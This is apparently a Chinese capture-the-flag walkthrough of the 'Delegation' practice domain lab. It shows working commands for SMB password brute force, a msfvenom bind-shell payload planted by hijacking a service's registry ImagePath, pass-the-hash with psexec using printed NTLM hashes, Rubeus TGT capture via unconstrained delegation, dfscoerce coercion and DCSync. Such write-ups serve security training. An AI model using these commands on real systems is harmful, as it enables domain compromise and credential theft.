春秋云境 Delegation WP

Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

  • Brute Force
  • Privilege Elevation
  • Kerberos
  • 域渗透

flag01

首先入口,cmseasy的页面。

找到flag01,但是没有权限读取

不知道为什么蚁剑无法输出结果。

分析一下:

172.22.4.36   已经拿下
172.22.4.45    XIAORANG\WIN19    WIN19\Adrian
172.22.4.19   FILESERVER	FILESERVER.xiaorang.lab 
172.22.4.7    DC01.xiaorang.lab

因为提示了我们WIN19的一个用户,我们去打172.22.4.45 ,爆破

proxychains crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19

爆破结果如下,发现babygirl1和其他的不一样:

image-20240110153420521

登陆后发现需要改密码,这里注意要在kail里面远程连接,win下自带的mstsc没有办法进入到修改密码的页面

proxychains rdesktop 172.22.4.45

image-20240110153819194

更改密码1q2w3e4r,然后成功登录,在桌面发现后门,把生成的html文件看一下

image-20240110154248181

发现可以修改注册表gupdate

image-20240110161515183

我们接下来用msf生成一个正向连接的木马,让后让注册表关联gupdate,然后再重新启动服务即可

msfvenom -p windows/meterpreter/bind_tcp LPORT=3344 -f exe > aaa.exe

reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\aaa.exe"

sc start gupdate

但是session的存活时间很短,所以要迁移进程,如下图已经是system权限,成功读取flag

image-20240110163601932

flag03和flag04

hashdump获取hash:

我们再load kiwi ,creds_all 一下,获得机器用户的hash,因为机器用户都是域内用户,在后续需要用到

我们先psexec连接上172.22.4.45,创建一个新用户并加到管理员组

proxychains python psexec.py [email protected] -hashes :ba21c629d9fd56aff10c3e826323e6ab -codec gbk

image-20240113171213023

利用工具lzzbb/Adinfo: 域信息收集工具 (github.com)进行信息收集。

image-20240113172005761

发现一个非约束委派,,那么只要域控来访问我们的服务,就会在我们本地的lsass进程中缓存目标的TGT。

上传一个Rubeus,准备进行抓取票据

Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$

用dfscoerce触发rpc使dc向WIN19认证,这里接收端使用ip的时候成功率不高

proxychains python dfscoerce.py -u "WIN19$" -hashes :5943c35371c96f19bda7b8e67d041727 -d xiaorang.lab win19 172.22.4.7

因为dc拥有dcsync的权限,所以直接可以获取域内所有的hash。
